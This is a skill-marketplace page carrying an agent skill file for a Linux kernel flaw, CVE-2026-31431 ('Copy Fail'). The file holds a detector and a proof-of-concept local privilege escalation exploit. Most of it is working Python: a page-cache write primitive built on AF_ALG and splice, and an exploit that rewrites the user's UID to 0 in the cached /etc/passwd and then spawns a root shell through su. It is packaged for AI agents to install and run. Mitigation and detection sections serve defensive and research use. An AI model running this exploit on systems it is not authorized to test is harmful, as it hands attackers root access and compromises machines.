cve-2026-31431-copy-fail
Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.
Best use case
cve-2026-31431-copy-fail is best used when you need a repeatable AI agent workflow instead of a one-off prompt.
Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.
Teams using cve-2026-31431-copy-fail should expect a more consistent output, faster repeated execution, less prompt rewriting.
When to use this skill
- You want a reusable workflow that can be run more than once with consistent structure.
When not to use this skill
- You only need a quick one-off answer and do not need a reusable workflow.
- You cannot install or maintain the underlying files, dependencies, or repository context.
Installation
Claude Code / Cursor / Codex
Manual Installation
- Download SKILL.md from GitHub
- Place it in
.claude/skills/cve-2026-31431-copy-fail/SKILL.mdinside your project - Restart your AI agent — it will auto-discover the skill
How cve-2026-31431-copy-fail Compares
| Feature / Agent | cve-2026-31431-copy-fail | Standard Approach |
|---|---|---|
| Platform Support | Not specified | Limited / Varies |
| Context Awareness | High | Baseline |
| Installation Complexity | Unknown | N/A |
Frequently Asked Questions
What does this skill do?
Detector and proof-of-concept LPE toolkit for CVE-2026-31431 ("Copy Fail"), a Linux kernel algif_aead page-cache scratch-write vulnerability enabling local privilege escalation.
Where can I find the source code?
You can find the source code on GitHub using the link provided at the top of the page.
SKILL.md Source
# CVE-2026-31431 ("Copy Fail") Toolkit
> Skill by [ara.so](https://ara.so) — Daily 2026 Skills collection.
A Python toolkit for detecting and demonstrating CVE-2026-31431, a Linux kernel vulnerability where `algif_aead` with `authencesn(hmac(sha256),cbc(aes))` performs an in-place AEAD operation via `splice()`, writing into page-cache pages of regular files — enabling an unprivileged user to corrupt the kernel's in-memory view of `/etc/passwd` or other world-readable files for local privilege escalation.
**Authorization notice:** Use only on systems you own or are explicitly engaged to assess. Running this on unauthorized systems is illegal in most jurisdictions.
## Affected Systems
- Linux kernels carrying commit `72548b093ee3` (in-place AEAD, 2017) without the upstream revert
- Confirmed affected: Ubuntu 24.04 LTS, Amazon Linux 2023, RHEL 14.3, SUSE 16
## Installation
No installation required. Pure Python 3.10+ stdlib — clone and run directly.
```sh
git clone https://github.com/rootsecdev/cve_2026_31431.git
cd cve_2026_31431
python3 --version # requires 3.10+
```
## Files
| File | Purpose |
|------|---------|
| `test_cve_2026_31431.py` | Non-destructive detector; operates only on a temp sentinel file |
| `exploit_cve_2026_31431.py` | LPE; flips UID to 0 in `/etc/passwd` page cache, then invokes `su` |
## Key Commands
### Detector
```sh
python3 test_cve_2026_31431.py
```
Exit codes:
- `0` — Not vulnerable (precondition not met or page cache intact)
- `1` — Test error
- `2` — **Vulnerable** (marker landed in spliced page)
### Exploit
```sh
# Patch /etc/passwd page cache only (dry-run, auto-reverts on exit)
python3 exploit_cve_2026_31431.py
# Patch and spawn root shell via su
python3 exploit_cve_2026_31431.py --shell
```
## How the Vulnerability Works
```
sendmsg([8-byte AAD], cmsg=[ALG_SET_OP=DECRYPT, ALG_SET_IV, ALG_SET_AEAD_ASSOCLEN=8],
flags=MSG_MORE)
splice(target_fd, pipe_w, 32, offset_src=file_offset)
splice(pipe_r, op_fd, 32)
recv(op_fd) # returns EBADMSG; scratch write has already landed
```
The `authencesn` algorithm writes bytes 4–7 of the AAD (`seqno_lo`) into the destination scatterlist. When `splice()` is used, that destination is the page-cache page of the source file. The on-disk file is **never modified**.
## Core Detection Logic (from `test_cve_2026_31431.py`)
```python
import os, socket, struct, tempfile, ctypes
MARKER = b'PWND'
ALG_SET_KEY = 1
ALG_SET_IV = 2
ALG_SET_OP = 3
ALG_SET_AEAD_ASSOCLEN = 4
def check_preconditions():
"""Verify AF_ALG and authencesn algorithm are reachable."""
try:
sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
})
sock.close()
return True
except (OSError, AttributeError):
return False
def write4(target_path, file_offset, payload_4bytes):
"""
Write exactly 4 bytes into the page cache of target_path at file_offset
using the algif_aead splice path. The auth check will fail (EBADMSG)
but the scratch write fires regardless.
"""
assert len(payload_4bytes) == 4
# Build a 256-bit AES key + 256-bit HMAC-SHA256 key (arbitrary for PoC)
aes_key = bytes(32)
hmac_key = bytes(32)
key = hmac_key + aes_key # authencesn key layout
# Create AF_ALG socket bound to the vulnerable algorithm
alg_sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
alg_sock.bind({
'type': 'aead',
'name': 'authencesn(hmac(sha256),cbc(aes))',
'feat': 0,
'mask': 0,
'authsize': 32,
})
alg_sock.setsockopt(socket.SOL_ALG, ALG_SET_KEY, key)
op_fd, _ = alg_sock.accept()
# 8-byte AAD: bytes 0-3 = seqno_hi (ignored), bytes 4-7 = seqno_lo (WRITTEN)
aad = bytes(4) + payload_4bytes # seqno_lo = our 4-byte payload
# Send AAD inline via sendmsg with control messages
iv = bytes(16) # CBC IV
cmsg = [
(socket.SOL_ALG, ALG_SET_OP, struct.pack('I', 0)), # DECRYPT=0
(socket.SOL_ALG, ALG_SET_IV, struct.pack('II', 16, 0) + iv),
(socket.SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack('I', 8)),
]
op_fd.sendmsg([aad], cmsg, socket.MSG_MORE)
# splice the target file's page-cache page into the op socket
pipe_r, pipe_w = os.pipe()
target_fd = os.open(target_path, os.O_RDONLY)
os.splice(target_fd, pipe_w, 32, offset_src=file_offset)
os.splice(pipe_r, op_fd, 32)
# Drive the decryption — EBADMSG expected; scratch write already fired
try:
op_fd.recv(64)
except OSError:
pass # EBADMSG is expected
os.close(pipe_r)
os.close(pipe_w)
os.close(target_fd)
op_fd.close()
alg_sock.close()
def detect():
if not check_preconditions():
print("Precondition not met — AF_ALG or authencesn unavailable")
return 0
with tempfile.NamedTemporaryFile(delete=False) as f:
sentinel_path = f.name
f.write(b'\x00' * 4096)
try:
# Populate page cache
with open(sentinel_path, 'rb') as f:
f.read()
write4(sentinel_path, 0, MARKER)
# Read back from page cache
with open(sentinel_path, 'rb') as f:
data = f.read(16)
if MARKER in data:
print("VULNERABLE to CVE-2026-31431")
return 2
elif data != b'\x00' * 16:
print("Page cache MODIFIED via in-place AEAD splice path — treat as vulnerable")
return 2
else:
print("Page cache intact — not vulnerable")
return 0
finally:
os.unlink(sentinel_path)
if __name__ == '__main__':
raise SystemExit(detect())
```
## LPE Pattern (from `exploit_cve_2026_31431.py`)
```python
import os, pwd, subprocess
def find_uid_offset(username):
"""Find the byte offset of the UID field in /etc/passwd for username."""
with open('/etc/passwd', 'rb') as f:
content = f.read()
for line in content.split(b'\n'):
if line.startswith(username.encode() + b':'):
fields = line.split(b':')
# fields[2] is the UID
offset = content.index(line) + sum(len(f) + 1 for f in fields[:2])
uid_field = fields[2]
return offset, uid_field
raise ValueError(f"User {username!r} not found in /etc/passwd")
def exploit(username, spawn_shell=False):
uid_offset, uid_field = find_uid_offset(username)
if len(uid_field) != 4:
raise ValueError(
f"UID {uid_field.decode()!r} is not 4 digits — "
"1-3 digit UIDs require multi-shot writes"
)
print(f"[*] Patching UID at offset {uid_offset} in /etc/passwd page cache...")
write4('/etc/passwd', uid_offset, b'0000')
# Verify libc now reports UID 0
entry = pwd.getpwnam(username)
if entry.pw_uid != 0:
print("[!] getpwnam still returns original UID — NSS cache may be active")
print(" Try: sudo systemctl stop nscd sssd systemd-userdbd")
return
print(f"[+] /etc/passwd page cache patched — {username} now appears as UID 0")
if spawn_shell:
print(f"[*] Spawning root shell via: su {username}")
print("[*] Enter your own password at the prompt")
os.execvp('su', ['su', username])
else:
print("[*] Dry-run complete. Page cache will be evicted on exit.")
# Auto-evict corrupted page on exit
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
if __name__ == '__main__':
import sys
username = os.environ.get('USER') or os.getlogin()
spawn_shell = '--shell' in sys.argv
exploit(username, spawn_shell)
```
## Requirements for LPE
- Running user has a **4-digit UID** (1000–9999)
- No NSS caching daemon masking `/etc/passwd` reads (`nscd`, `sssd`, `systemd-userdbd`)
- `/etc/passwd` page remains in cache between patch and `su` exec
## Reverting Page Cache Corruption
The on-disk `/etc/passwd` is **never modified**. To restore normal UID resolution:
```sh
# From unprivileged user — evict corrupted page:
python3 -c "
import os
fd = os.open('/etc/passwd', os.O_RDONLY)
os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED)
os.close(fd)
"
# From root shell — drop all page caches:
echo 3 > /proc/sys/vm/drop_caches
# Or simply reboot
```
## Mitigation
```sh
# Disable algif_aead module permanently
sudo tee /etc/modprobe.d/disable-algif-aead.conf <<< 'install algif_aead /bin/false'
# Unload if currently loaded
sudo rmmod algif_aead 2>/dev/null
# Verify — detector should now report "Precondition not met"
python3 test_cve_2026_31431.py
```
## Troubleshooting
| Symptom | Cause | Fix |
|---------|-------|-----|
| `OSError: [Errno 93] Protocol not supported` | `AF_ALG` not available | Kernel too old or CONFIG_CRYPTO_USER_API_AEAD not set |
| `OSError: [Errno 2] No such file or directory` (bind) | `algif_aead` module not loaded | `sudo modprobe algif_aead` or apply mitigation |
| `getpwnam` returns original UID after patch | NSS cache active | Stop `nscd`/`sssd`/`systemd-userdbd` |
| Detector exits 0 on known-vulnerable kernel | Page evicted before re-read | Ensure no memory pressure; retry immediately |
| Multi-digit UID < 1000 | `write4` writes exactly 4 bytes | Pad UID field manually or extend `write4` for multi-shot |
## References
- Disclosure writeup: <https://xint.io/blog/copy-fail-linux-distributions>
- CVE: CVE-2026-31431
- Upstream fix: revert in-place AEAD to out-of-place, keeping page-cache pages out of writable scatterlistsRelated Skills
polymarket-copy-trading-bot
TypeScript bot that monitors a Polymarket wallet and mirrors BUY trades to your own account via the Polymarket CLOB API on Polygon.
copyfail-go-lpe
Go implementation of CVE-2026-31431 (CopyFail), a Linux local privilege escalation exploit targeting the AF_ALG iov_iter kernel vulnerability affecting kernels v4.14–April 2026.
```markdown
---
zeroboot-vm-sandbox
Sub-millisecond VM sandboxes for AI agents using copy-on-write KVM forking via Zeroboot
yourvpndead-vpn-detection
Android app that detects VPN/proxy servers (VLESS/xray/sing-box) via local SOCKS5 vulnerability, exposing exit IPs and server configs without root
xata-postgres-platform
Expert skill for Xata open-source cloud-native Postgres platform with copy-on-write branching, scale-to-zero, and Kubernetes deployment
x-mentor-skill-nuwa
AI-powered X (Twitter) content strategy skill that distills methodologies from 6 top creators + open-source algorithm data into actionable writing, growth, and monetization guidance.
wx-favorites-report
End-to-end pipeline to extract, decrypt, and visualize WeChat Mac favorites from encrypted SQLite DB into an interactive HTML report.
wterm-web-terminal
Web terminal emulator with Zig/WASM core, DOM rendering, and React/vanilla JS bindings
worldmonitor-intelligence-dashboard
Real-time global intelligence dashboard with AI-powered news aggregation, geopolitical monitoring, and infrastructure tracking
witr-process-inspector
CLI and TUI tool that explains why processes, services, and ports are running by tracing causality chains across supervisors, containers, and shells.
wildworld-dataset
WildWorld large-scale action-conditioned world modeling dataset with 108M+ frames from a photorealistic ARPG game, featuring per-frame annotations, 450+ actions, and explicit state information for generative world modeling research.